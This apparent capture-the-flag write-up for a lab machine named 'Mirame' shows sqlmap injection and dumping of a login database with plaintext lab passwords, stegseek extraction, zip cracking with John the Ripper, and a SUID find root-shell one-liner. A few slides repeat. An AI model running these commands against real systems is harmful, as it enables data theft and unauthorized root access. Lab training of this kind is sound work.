Mirame – SQL Injection

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'test'' at line 1 in /var/www/html/auth.php:22 Stack trace: #0 /var/www/html/auth.php(22): mysqli->query() #1 {main} thrown in **/var/www/html/auth.php** on line **22**

The webserver login page is vulnerable to SQL injection. To automate the injection process, we can use the SQLmap program, but we should prepare a file for it first

Mirame – Creating a Request File

Request

Pretty Raw Hex

```
1  POST /auth.php HTTP/1.1
2  Host: 172.17.0.2
3  Content-Length: 39
4  Cache-Control: max-age=0
5  Accept-Language: en-US,en;q=0.9
6  Origin: http://172.17.0.2
7  Content-Type: application/x-www-form-urlencoded
8  Upgrade-Insecure-Requests: 1
9  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
   like Gecko) Chrome/130.0.6723.70 Safari/537.36
10 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9
   png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://172.17.0.2/
12 Accept-Encoding: gzip, deflate, br
13 Connection: keep-alive
14
15 username=testuser&password=testpassword
```

If we can record the login POST request in BurpSuite, we can save the request file for use with SQLmap

Mirame – SQLmap

After we've saved the file, SQLmap can use the file to enumrate database info from the web app

Mirame – Database Enum

```
[21:56:49] [DEBUG] performed
available databases [2]:
[*] information_schema
[*] users
```

We work through the database systematically, getting a list of databases first

Mirame – Table Enumeration

```
┌──(theshyhat㉿hackerfrogs)-[/tmp]
└─$ sqlmap -vv -r auth-request.txt -D users --tables
```

```
Database: users
[1 table]
+-----------+
| usuarios |
+-----------+
```

The next step is to get a list of tables from specific databases

Mirame – Table Dump

```
┌──(theshyhat㉿hackerfrogs)-[/tmp]
└─$ sqlmap -vv -r auth-request.txt -D users -T usuarios --dump
```

```
Table: usuarios
[4 entries]
+----+-------------------------+-------------+
| id | password                | username    |
+----+-------------------------+-------------+
| 1  | chocolateadministrador  | admin       |
| 2  | lucas                   | lucas       |
| 3  | soyagustin123           | agustin     |
| 4  | directoriotravieso      | directorio  |
+----+-------------------------+-------------+
```

And the last step would be to dump the contents of the tables

Mirame – Suspicious Directory

```
┌──(theshyhat㉿hackerfrogs)-[/tmp]
└─$ sqlmap -vv -r auth-request.txt -D users -T usuarios --dump
```

```
Table: usuarios
[4 entries]
+----+-------------------------+--------------+
| id | password                | username     |
+----+-------------------------+--------------+
| 1  | chocolateadministrador  | admin        |
| 2  | lucas                   | lucas        |
| 3  | soyagustin123           | agustin      |
| 4  | directoriotravieso      | directorio   |
+----+-------------------------+--------------+
```

If we know some Spanish, we can see that a “naughty directory” is exposed in the users table

Mirame – Steganography

```
└─$ stegseek miramebien.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "chocolate"
[i] Original filename: "ocultito.zip".
[i] Extracting to "miramebien.jpg.out".
```

In the naughty directory, there's an image file, and we can inspect it using the Stegseek tool, revealing that there's a zip file embedded into it

Mirame – Password Cracking

```
└─$ unzip ocultito.zip
Archive:  ocultito.zip
[ocultito.zip] secret.txt password:
   skipping: secret.txt                        incorrect password
```

The zip file has a password, but we can crack the password using the John the Ripper tool

Mirame – Password Cracking

```
└─$ zip2john ocultito.zip > zip.hash
ver 1.0 efh 5455 efh 7875 ocultito.zip/secret.txt
```

```
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stupid1          (ocultito.zip/secret.txt)
```

First we need to extract the password hash from the zip file, then run John the Ripper to crack it

Mirame – Privilege Escalation SUID Find

```
carlos@9dd8044179a4:~$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/mount
/usr/bin/chsh
/usr/bin/find
```

The server has an unusual SUID binary set, which always runs with the permissions of the file's owner (usually root, the super user)

Mirame – Privilege Escalation SUID Find

```
./find . -exec /bin/sh -p \; -quit
```

In this case, the `find` command can be used for privilege escalation using a command like the one above

Mirame – Privilege Escalation SUID Find

```
./find . -exec /bin/sh -p \; -quit
```

The reason why `find` can be used for privilege escalation in this case is because it allows the execution of other OS commands in its operation